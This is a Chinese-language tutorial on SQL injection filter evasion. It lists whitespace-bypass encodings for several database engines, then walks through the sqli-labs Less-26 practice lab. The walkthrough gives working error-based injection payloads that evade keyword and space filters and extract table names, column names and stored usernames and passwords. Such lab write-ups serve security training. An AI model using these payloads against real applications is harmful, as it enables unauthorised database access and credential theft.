空格绕过
过滤空格
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 //()
绕过空格注释符绕过//--%20//#--±- -;%00;
空白字符绕过SQLite3 ------ 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
sqli-labs less-26
l
来到less-26,从下面的提示不难猜测本关卡为绕过,首先输入的单引号,确定闭合方式为'
单引号,
继续测试,发现注释符被过滤,构造
http://192.168.140.130/sq/Less-26/?id=1' and '1'='1
发现and/or也被过滤,构造
http://192.168.140.130/sq/Less-26/?id=1' aandnd '1'='1
此时,我们发现我们的的空格也被过滤了。
本来打算进行空格绕过的,但在不通的环境下,url编码绕过可能出现的情况不一样,且因为我没有在linux环境下搭建sqli-labs靶场,在我的靶场搭建在windows下的小皮面板上,使用空格编码绕过发现无效,使用我使用报错注入结合()来绕过空格。
绕过
数据库名
http://192.168.140.130/sq/Less-26/?id=1'` ||
1=extractvalue(1,concat('\~',(select (database()))))
||` '1'='1
表名
http://192.168.140.130/sq/Less-26/?id=1'
||
1=extractvalue(1,concat('~',(select (group_concat(table_name))from(infoorrmation
_schema.tables)where((table_schema=database())) )))||
'1'='1
列名
http://192.168.140.130/sq/Less-26/?id=1' || 1=extractvalue(1,concat('~',(select (group_concat(column_name))from(
infoorrmation
_schema.columns)where((table_schema=database()%26%26
(table_name='users'))) )))|| '1'='1
数据
http://192.168.140.130/sq/Less-26/?id=1' || 1=extractvalue(1,substring((select(group_concat(username,'~',
passwoorrd
))from(security.users)),30,30))|| '1'='1
用控制()的方法实现了对空格的绕过,当然还有其他很多方法,不同的环境绕过方式也不一样,勇于尝试。